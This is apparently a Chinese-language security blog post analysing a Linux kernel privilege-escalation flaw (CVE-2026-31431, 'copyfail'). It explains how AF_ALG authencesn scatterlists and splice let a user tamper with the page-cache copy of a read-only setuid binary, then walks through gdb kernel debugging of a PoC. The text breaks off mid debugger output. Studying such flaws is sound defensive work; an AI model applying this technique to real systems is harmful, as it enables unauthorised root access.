网安 / 逆向 / CTF 笔记与随笔 Zola 2026-09-27T08:47:32+00:00 https://ddostalker.github.io/atom.xml 2026-09-27T08:47:32+00:00 2026-09-27T08:47:32+00:00 Unknown https://ddostalker.github.io/cve-2026-31431/ <h2 id="copyfailde-yuan-li-jian-shu">copyfail的原理简述</h2> <p>这个漏洞本质是：</p> <blockquote> <p><strong>用户可以往“<strong><strong>只读</strong></strong>文件的</strong> <strong>page cache</strong>**（<strong><strong>内存</strong></strong>缓存）”写数据，但磁盘不会变 → 执行时用的是被篡改的内存版本 → 提权**</p> </blockquote> <p>简单的说，你没有权限改 /usr/bin/su，但你可以偷偷改 “内存里的 su”，然后系统执行的正是这个“被改的版本”</p> <h2 id="he-xin-yuan-li">核心原理</h2> <h3 id="page-cache-ye-huan-cun">page cache（页缓存）</h3> <p>在linux中，程序的运行比如execve() 执行程序 → 是直接用 page cache的，而本身page cache 是全局共享的（跨进程、跨容器）,所以我们就可以通过page cache改变程序行为</p> <h3 id="splice">splice</h3> <p><code>splice()</code> 是一个 Linux 特有的系统调用，<strong>用于在两个文件描述符之间高效地移动数据，实现了</strong>零拷贝（Zero-Copy）I/O 操作。它直接在内核内存中传输数据，避免了数据在内核空间和用户空间之间的重复拷贝。</p> <p>正常情况下是这样的</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104238200.png" alt="image-20260513104238200" /></p> <p>splice系统调用提供了一个管道，我们并不需要将文件内容读取到用户态缓存中，但需要使用管道作为中转，在这个情况下，我们减少了一次进入并退出用户态的过程，减少 了上下文保存的时间。</p> <pre data-lang="C++" class="language-C++ z-code"><code class="language-C++" data-lang="C++"><span class="z-source z-c++"><span class="z-meta z-preprocessor z-macro z-c++"><span class="z-keyword z-control z-import z-define z-c++">#define</span></span><span class="z-meta z-preprocessor z-macro z-c++"> <span class="z-entity z-name z-constant z-preprocessor z-c++">_GNU_SOURCE</span></span> </span><span class="z-source z-c++"><span class="z-meta z-preprocessor z-include z-c++"><span class="z-keyword z-control z-import z-include z-c++">#include</span> <span class="z-string z-quoted z-other z-lt-gt z-include z-c++"><span class="z-punctuation z-definition z-string z-begin z-c++">&lt;</span>fcntl.h<span class="z-punctuation z-definition z-string z-end z-c++">&gt;</span></span> </span></span><span class="z-source z-c++"> </span><span class="z-source z-c++"><span class="z-support z-type z-sys-types z-c">ssize_t</span> <span class="z-meta z-function z-c++"><span class="z-meta z-toc-list z-full-identifier z-c++"><span class="z-entity z-name z-function z-c++">splice</span></span></span><span class="z-meta z-function z-parameters z-c++"><span class="z-meta z-group z-c++"><span class="z-punctuation z-section z-group z-begin z-c++">(</span></span></span><span class="z-meta z-function z-parameters z-c++"><span class="z-meta z-group z-c++"><span class="z-storage z-type z-c">int</span> <span class="z-variable z-parameter z-c++">fd_in</span><span class="z-punctuation z-separator z-c++">,</span> loff_t <span class="z-keyword z-operator z-c">*</span><span class="z-variable z-parameter z-c++">off_in</span><span class="z-punctuation z-separator z-c++">,</span> <span class="z-storage z-type z-c">int</span> <span class="z-variable z-parameter z-c++">fd_out</span><span class="z-punctuation z-separator z-c++">,</span> </span></span></span><span class="z-source z-c++"><span class="z-meta z-function z-parameters z-c++"><span class="z-meta z-group z-c++"> loff_t <span class="z-keyword z-operator z-c">*</span><span class="z-variable z-parameter z-c++">off_out</span><span class="z-punctuation z-separator z-c++">,</span> <span class="z-support z-type z-sys-types z-c">size_t</span> <span class="z-variable z-parameter z-c++">len</span><span class="z-punctuation z-separator z-c++">,</span> <span class="z-storage z-type z-c">unsigned</span> <span class="z-storage z-type z-c">int</span> <span class="z-variable z-parameter z-c++">flags</span><span class="z-punctuation z-section z-group z-end z-c++">)</span></span></span><span class="z-punctuation z-terminator z-c++">;</span> </span></code></pre> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104310304.png" alt="image-20260513104310304" /></p> <h3 id="af-alg">AF_ALG</h3> <p>Linux 内核提供的一种用户空间套接字接口（Socket Interface），允许应用程序直接调用内核中高性能的密码模块（如 AES、SHA 等）来实现加密、解密和哈希算法**, 实现用 CT 户态程序调用内核态密码<strong><strong>API</strong></strong>，避免算法在用户态重复实现**</p> <pre data-lang="bash" class="language-bash z-code"><code class="language-bash" data-lang="bash"><span class="z-source z-shell z-bash"><span class="z-meta z-function-call z-shell"><span class="z-variable z-function z-shell">socket</span></span><span class="z-meta z-function-call z-arguments z-shell">(AF_ALG</span><span class="z-meta z-function-call z-shell"></span>)<span class="z-meta z-function-call z-shell"><span class="z-variable z-function z-shell">→</span></span><span class="z-meta z-function-call z-arguments z-shell"> 调用内核 crypto</span> </span></code></pre> <p>在这里，我们要提到AF_ALG的一个机制──scatterlist，他会将多个地方的buffer页面连起来，在他的这个层面上讲就会把scatterlist的内存作为一整个连续的内存块。</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104339686.png" alt="image-20260513104339686" /></p> <p>而crypto 模块（authencesn）会“写数据到 buffer”，并且它无法判断 buffer 里是否混进了 page cache</p> <pre data-lang="Thrift" class="language-Thrift z-code"><code class="language-Thrift" data-lang="Thrift"><span class="z-text z-plain">struct sockaddr_alg sa = { </span><span class="z-text z-plain"> .salg_family = AF_ALG, </span><span class="z-text z-plain"> .salg_type = &quot;hash&quot;, </span><span class="z-text z-plain"> .salg_name = &quot;sha256&quot; </span><span class="z-text z-plain">}; </span><span class="z-text z-plain"> </span><span class="z-text z-plain">bind(fd, (struct sockaddr *)&amp;sa, sizeof(sa)); </span></code></pre> <p>详细可以阅读 af_alg_get_rsgl 怎么buffer转sg，scatterwalk_map_and_copy怎么跨sg读数据</p> <h3 id="bu-bi-xu-de-authencesn">不必须的 authencesn？</h3> <p>关于其中使用的密码学算法，我们必须使用authencesn吗？之所以用 authencesn，是因为它会往输出 buffer 写数据，而且写的位置可控/可越界，正好满足写数据、in_palce 、尾部写</p> <p>内核的 AEAD API 定义了一个清晰的输出合约以进行解密:目标缓冲区<strong>接收 AAD ||</strong> <strong>明文</strong>**,即 assoclen +(cryptlen - authsize)字节。**</p> <p>AAD 和密文数据通过 memcpy_sglistmemcpy_sglist 从输入散点列表直接复制到输出缓冲区中。这是一份真实的副本。页面缓存页面仅被读取。authsize但输入散点列表的最后一个大号字节——认证标签不会被复制。内核保留标签的散点列表条目,并使用 sg_chain() 将它们链接到输出散点列表的末尾:</p> <pre class="z-code"><code><span class="z-text z-plain">Input SGL: AAD || CT || Tag </span><span class="z-text z-plain"> | | ^ </span><span class="z-text z-plain"> | copy | | sg_chain (still references page cache pages) </span><span class="z-text z-plain"> v v | </span><span class="z-text z-plain">Output SGL: AAD || CT -----+ </span></code></pre> <h3 id="execvezhong-li-yong">execve重利用</h3> <p>当运行一个新的su的时候，不应该使用execve系统调用启动一个新的吗？那之前的dirty page还可以正常使用吗？答案是可以的，这利用操作系统的复用思想，操作系统会优先对cache page中存在的代码进行查找，如果存在，则重复利用，所以我们新运行的是存在dirty page上的程序，所以是可以执行的。</p> <h2 id="diao-shi-guo-cheng">调试过程</h2> <p>启动qemu，此时的kernel由于我们的-s参数是被堵塞停住的，只有使用gdb attach到他的时候才会继续运行，我们启动gdb，并载入vmlinux的信息</p> <pre data-lang="Rust" class="language-Rust z-code"><code class="language-Rust" data-lang="Rust"><span class="z-source z-rust">file vmlinux </span><span class="z-source z-rust">target remote <span class="z-punctuation z-separator z-rust">:</span><span class="z-constant z-numeric z-integer z-decimal z-rust">1234</span> </span></code></pre> <p>我们可以在start_kernel这个位置打一个断点,然后c执行到此处</p> <pre data-lang="Rust" class="language-Rust z-code"><code class="language-Rust" data-lang="Rust"><span class="z-source z-rust">b start_kernel </span></code></pre> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104423304.png" alt="image-20260513104423304" /></p> <p>如果没有问题就可以继续c，然后来操作虚拟机了，虚拟机image里存放着之前准备时编译的poc本体，在这里他相对于kernel漏洞的触发器，我们不调试他，而是通过他来触法并观察kernel的运行，由于这个程序我们不能通过gdb直接控制，所以我们也需要对kernel做一点断点</p> <pre data-lang="Rust" class="language-Rust z-code"><code class="language-Rust" data-lang="Rust"><span class="z-source z-rust">b __sys_socket </span><span class="z-source z-rust">b af_alg_get_rsgl </span><span class="z-source z-rust">b scatterwalk_map_and_copy </span><span class="z-source z-rust">b send_msg </span><span class="z-source z-rust">b do_splice </span><span class="z-source z-rust">b splice_to_pipe </span><span class="z-source z-rust">b sg_chain </span></code></pre> <p>完成后直接运行CVE……，此时gdb应该会在这个页面停下</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104443006.png" alt="image-20260513104443006" /></p> <p>那么这时候我们来看一下从开始到断点这个期间发生了什么，程序将fd加载到内存中，并创建一个fd接口,此时把这一部分的内容加载到cache里并分配一个fd</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104508735.png" alt="image-20260513104508735" /></p> <p>在跟踪fd的时候，如果我们用传统调试程序的思维来说，我们可以直接针对程序本体的proc文件列出。</p> <pre data-lang="Rust" class="language-Rust z-code"><code class="language-Rust" data-lang="Rust"><span class="z-source z-rust">ls <span class="z-keyword z-operator z-arithmetic z-rust">/</span><span class="z-invalid z-illegal z-rust">proc</span><span class="z-keyword z-operator z-arithmetic z-rust">/</span>程序的pid<span class="z-keyword z-operator z-arithmetic z-rust">/</span>fd </span></code></pre> <p>但是我们是在虚拟机中，我们这样直接列相对于只是把qemu占用的fd给拿了出来，那我们没有办法了吗？别急，运行一下apropos lx 看看呢？</p> <pre data-lang="SQL" class="language-SQL z-code"><code class="language-SQL" data-lang="SQL"><span class="z-source z-sql"> apropos </span><span class="z-source z-sql">❌ REGEXP string is empty </span><span class="z-source z-sql">pwndbg<span class="z-keyword z-operator z-comparison z-sql">&gt;</span> apropos lx </span><span class="z-source z-sql">function lx_clk_core_lookup <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Find struct clk_core by name </span></span><span class="z-source z-sql">function lx_current <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Return current task. </span></span><span class="z-source z-sql">function lx_dentry_name <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Return string of the full path of a dentry. </span></span><span class="z-source z-sql">function lx_device_find_by_bus_name <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Find struct device by bus and name (both strings </span></span><span class="z-source z-sql">function lx_device_find_by_class_name <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Find struct device by class and name (both str </span></span><span class="z-source z-sql">function lx_i_dentry <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Return dentry pointer for inode. </span></span><span class="z-source z-sql">function lx_module <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Find module by name and return the module variable. </span></span><span class="z-source z-sql">function lx_per_cpu <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Return per-cpu variable. </span></span><span class="z-source z-sql">function lx_per_cpu_ptr <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Return per-cpu pointer. </span></span><span class="z-source z-sql">function lx_radix_tree_lookup <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Lookup and return a node from a RadixTree. </span></span><span class="z-source z-sql">function lx_rb_first <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Lookup and return a node from an RBTree </span></span><span class="z-source z-sql">function lx_rb_last <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Lookup and return a node from an RBTree. </span></span><span class="z-source z-sql">function lx_rb_next <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Lookup and return a node from an RBTree. </span></span><span class="z-source z-sql">function lx_rb_prev <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Lookup and return a node from an RBTree. </span></span><span class="z-source z-sql">function lx_task_by_pid <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Find Linux task by PID and return the task_struct variable. </span></span><span class="z-source z-sql">function lx_thread_info <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Calculate Linux thread_info from task variable. </span></span><span class="z-source z-sql">function lx_thread_info_by_pid <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Calculate Linux thread_info from task variable found by pid </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>clk<span class="z-keyword z-operator z-math z-sql">-</span>summary <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Print clk tree summary </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>cmdline <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Report the Linux Commandline used in the current kernel. </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>configdump <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Output kernel config to the filename specified as the command </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>cpus <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> List CPU status arrays </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>device<span class="z-keyword z-operator z-math z-sql">-</span>list<span class="z-keyword z-operator z-math z-sql">-</span>bus <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Print devices on a bus (or all buses if not specified) </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>device<span class="z-keyword z-operator z-math z-sql">-</span>list<span class="z-keyword z-operator z-math z-sql">-</span>class <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Print devices in a class (or all classes if not specified) </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>device<span class="z-keyword z-operator z-math z-sql">-</span>list<span class="z-keyword z-operator z-math z-sql">-</span>tree <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Print a device and its children recursively </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>dmesg <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Print Linux kernel log buffer. </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>dump<span class="z-keyword z-operator z-math z-sql">-</span>page<span class="z-keyword z-operator z-math z-sql">-</span>owner <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Dump page owner </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>fdtdump <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Output Flattened Device Tree header and dump FDT blob to the filename </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>genpd<span class="z-keyword z-operator z-math z-sql">-</span>summary <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Print genpd summary </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>getmod<span class="z-keyword z-operator z-math z-sql">-</span>by<span class="z-keyword z-operator z-math z-sql">-</span>textaddr <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Look up loaded kernel module by text address. </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>interruptlist <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Print /proc/interrupts </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>iomem <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Identify the IO memory resource locations defined by the kernel </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>ioports <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Identify the IO port resource locations defined by the kernel </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>list<span class="z-keyword z-operator z-math z-sql">-</span><span class="z-storage z-modifier z-sql">check</span> <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Verify a list consistency </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>lsmod <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> List currently loaded modules. </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>mounts <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Report the VFS mounts of the current process namespace. </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>page_address <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> struct page to linear mapping address </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>page_to_pfn <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> struct page to PFN </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>page_to_phys <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> struct page to physical address </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>pfn_to_kaddr <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> PFN to kernel address </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>pfn_to_page <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> PFN to struct page </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>ps <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Dump Linux tasks. </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>slabinfo <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Show slabinfo </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>slabtrace <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Show specific cache slabtrace </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>stack_depot_lookup <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Search backtrace by handle </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>sym_to_pfn <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> symbol address to PFN </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>symbols <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> (Re-)load symbols of Linux kernel and currently loaded modules. </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>timerlist <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Print /proc/timer_list </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>version <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Report the Linux Version of the current kernel. </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>virt_to_page <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> virtual address to struct page </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>virt_to_phys <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> virtual address to physical address </span></span><span class="z-source z-sql">lx<span class="z-keyword z-operator z-math z-sql">-</span>vmallocinfo <span class="z-comment z-line z-double-dash z-sql"><span class="z-punctuation z-definition z-comment z-sql">--</span> Show vmallocinfo </span></span></code></pre> <p>其中的lx-fdtdump不就是我们想要的fd table表吗？kernel gbb script选项在编译时已经生成了这些函数，我们可以通过这个查看。当然也可以通过 current_task 调试查看。</p> <blockquote> <p>current_task查看的原理</p> <p>“当前正在 CPU 上运行的进程”，这个结构体包含一下内容，可以通过*current_task-&gt;files-&gt;fdt-&gt;fd来确定其中的内容</p> <pre data-lang="Rust" class="language-Rust z-code"><code class="language-Rust" data-lang="Rust"><span class="z-source z-rust"><span class="z-constant z-other z-rust">CPU</span> </span><span class="z-source z-rust"> └── current_task </span><span class="z-source z-rust"> ↓ </span><span class="z-source z-rust"> <span class="z-meta z-struct z-rust"><span class="z-storage z-type z-struct z-rust">struct</span> </span><span class="z-meta z-struct z-rust"><span class="z-entity z-name z-struct z-rust">task_struct</span> </span></span><span class="z-source z-rust"><span class="z-meta z-struct z-rust"> ├── pid </span></span><span class="z-source z-rust"><span class="z-meta z-struct z-rust"> ├── comm </span></span><span class="z-source z-rust"><span class="z-meta z-struct z-rust"> ├── files </span></span><span class="z-source z-rust"><span class="z-meta z-struct z-rust"> ├── mm </span></span><span class="z-source z-rust"><span class="z-meta z-struct z-rust"> ├── cred </span></span><span class="z-source z-rust"><span class="z-meta z-struct z-rust"> └── stack </span></span></code></pre> </blockquote> <p>这里可能由于我这里的问题，current_task的地址位于vmmap之外，故无法查看（悲）</p> <p>接下来是send_chunk的过程，首先我们创建这样一个套接字，并使用AF_ALG来构造scaterlist链，最初我们发送一个xxxx+chunk块，这时候由于我们还没有接受结果此时AF_ALG还没有进行处理</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104735903.png" alt="image-20260513104735903" /></p> <p>然后通过splice来将他们构造成一个buffer，注意，在此至始至终我们的AF_ALG内的指针是一直指向chunk这个块的</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104816128.png" alt="image-20260513104816128" /></p> <p>在这里我们的gdb在do_splice处停下，根据调用规则rdx和rdi分别是 in、out两个参数。</p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104848334.png" alt="image-20260513104848334" /></p> <p><img src="https://ddostalker.github.io/cve-2026-31431/CVE-2026-31431.assets/image-20260513104924467.png" alt="image-20260513104924467" /></p> <p>我们可以分别看一下in和out分别指向的内容，首先是in的内容。</p> <pre data-lang="C" class="language-C z-code"><code class="language-C" data-lang="C"><span class="z-source z-c">$<span class="z-constant z-numeric z-integer z-decimal z-c">2</span> <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-begin z-c">{</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_lock <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_mode <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">69992450</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_op <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffffffff8264f9c0</span> <span class="z-keyword z-operator z-comparison z-c">&lt;</span>pipeanon_fops<span class="z-keyword z-operator z-comparison z-c">&gt;</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_mapping <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888004d62b68</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> private_data <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888005c4ea80</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_inode <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888004d629f8</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_flags <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">1</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_iocb_flags <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_cred <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff88800579f0c0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_owner <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_path <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-begin z-c">{</span> </span></span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"> mnt <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888005012020</span><span class="z-punctuation z-separator z-c">,</span> </span></span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"> dentry <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff888004cab300</span> </span></span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"> <span class="z-punctuation z-section z-block z-end z-c">}</span></span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> <span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-keyword z-operator z-variadic z-c">...</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_pos <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_security <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>ffff88800530c820</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_wb_err <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_sb_err <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal z-c">0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_ep <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-hexadecimal z-c"><span class="z-punctuation z-definition z-numeric z-base z-c">0x</span>0</span><span class="z-punctuation z-separator z-c">,</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> <span class="z-keyword z-operator z-variadic z-c">...</span><span class="z-keyword z-operator z-variadic z-c">...</span> </span></span><span class="z-source z-c"><span class="z-meta z-block z-c"> f_ref <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-begin z-c">{</span> </span></span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"> refcnt <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-meta z-block z-c"><span class="z-punctuation z-section z-block z-begin z-c">{</span> </span></span></span></span><span class="z-source z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"><span class="z-meta z-block z-c"> counter <span class="z-keyword z-operator z-assignment z-c">=</span> <span class="z-constant z-numeric z-integer z-decimal 